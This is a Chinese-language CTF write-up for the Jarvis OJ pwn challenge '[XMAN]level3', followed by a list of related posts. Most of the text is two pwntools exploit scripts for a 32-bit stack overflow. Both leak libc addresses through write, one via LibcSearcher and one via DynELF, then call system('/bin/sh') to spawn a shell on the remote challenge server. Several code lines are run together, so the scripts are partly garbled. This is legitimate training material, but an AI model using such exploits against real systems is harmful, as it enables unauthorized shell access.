[Jarvis OJ - PWN]——[XMAN]level3

  • 题目地址:https://www.jarvisoj.com/challenges
  • 题目:

    先checksec一下,32位程序开启了NX保护。

    在IDA看下。第一个函数中,有可以栈溢出利用的函数read。查找发现没有system函数和’/bin/sh’字符串。

思路

先leek出来一个地址, 比如write计算偏移, 找到system函数和’/bin/sh’字符串。寻找方法记住就好

expolit

from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]payload = 'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)     # 泄露write的实际地址,并且返回mian函数进行重复调用
p.sendlineafter("Input:\n",payload)
write_addr = u32(p.recv(4))   ##找到write的实际地址log.success("write_addr: "+hex(write_addr))
libc = LibcSearcher('write',write_addr) #选择合适的libc版本,可以都试试如果有两个的话libc_base=write_addr-libc.dump('write') #找到Libc的基地址
system_addr=libc_base+libc.dump('system') #利用基地址和偏移计算函数地址
bin_sh_addr=libc_base+libc.dump('str_bin_sh')payload = 'a'*(0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)p.sendlineafter("Input:\n",payload)
p.interactive()

或许你们可能看的其他的DynELF解法,可以自行百度查看用法,不过有点老说实话。

from pwn import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
pop_pop_pop_ret=0x08048519
plt_write=elf.plt["write"]
#模板百度就可以找到,write和puts的模板不一样。32和64位模板也不一样
def leak(address): p.recvline()payload = "a" * (0x88 + 0x4) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)p.send(payload)data=p.recv(4)print hex(u32(data))print "%#x => %s" % (address,(data  or '').encode('hex'))return datad=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')bss_addr=0x0804a027
plt_read=elf.plt["read"]
p.recvline()
#思路找到一块没有被利用内存,将'/bin/sh'写进去。作为参数传给system
payload = "a" * (0x88 + 0x4) + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

[Jarvis OJ - PWN]——[XMAN]level3相关推荐

  1. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

  2. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  3. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

  4. [Jarvis OJ - PWN]——[XMAN]level0

    [Jarvis OJ - PWN]--[XMAN]level0 题目地址:https://www.jarvisoj.com/challenges 题目: checksec看看,64位,开启了NX保护 ...

  5. [Jarvis OJ - PWN]——[XMAN]level1

    [Jarvis OJ - PWN]--[XMAN]level1 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,什么保护都没有开.32 ...

  6. [Jarvis OJ - PWN]——[XMAN]level2

    [Jarvis OJ - PWN]--[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下.32位并且没有开启 ...

  7. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  8. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  9. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

最新文章

  1. 软件体系架构模式之二分层体系结构
  2. linux启动redis_Redis简介
  3. svn redis和rabbitmq服务启动
  4. go的timer定时器实现
  5. 与gps优缺点_长缨在手,敢缚苍龙,中国北斗三号圆满收官,相比美国GPS怎样?...
  6. WordPress电子商务博客源码
  7. api arx autocad_应用ARX实现基于AutoCAD平台的参数化绘图
  8. opencv4找不到opencv2/core/core.hpp: No such file or directory
  9. LPC1788内部EEPROM使用的问题
  10. HD AUDIO再2003安装的问题
  11. html 免备案,免备案香港主机对网站SEO有影响吗?
  12. 怎么用计算机程序求根公式,一元四次方程求根公式
  13. 【python爬虫】学习笔记1-爬取某网站妹子图片
  14. 机器学习之聚类算法:K均值聚类(一、算法原理)
  15. 日期之 显示法定格式的日期
  16. Python语法--File文件处理
  17. 域控服务器错误事件解决方法,求大神帮忙,域控总有事件报错,事件ID:1864 - winServer论坛 - 51CTO技术论坛_中国领先的IT技术社区...
  18. 值得加入的“小而美”公司,2020最佳Tech创业公司盘点
  19. 无线高颜值游戏蓝牙耳机,500以内学生党最爱五款真无线蓝牙耳机
  20. 论文阅读笔记《Fine-tuning Deep Neural Networks in Continuous Learning Scenarios》

热门文章

  1. 美印钞一万亿焉知祸福?
  2. 园子里有没有介绍netframework3.0的
  3. PHP网站使用JavaScript和Iframe简单实现部分刷新效果
  4. Swift之深入解析如何结合Core Data和SwiftUI
  5. iOS逆向之深入解析如何使用Theos开发插件
  6. Github之深入解析Ruby Gems缓存
  7. Matrix工作室人事管理规章
  8. Python 列表排序方法reverse、sort、sorted详解
  9. 【C语言】C语言实现面向对象编程之封装
  10. mysql 脚本 linux_MySQL的一些功能实用的Linux shell脚本分享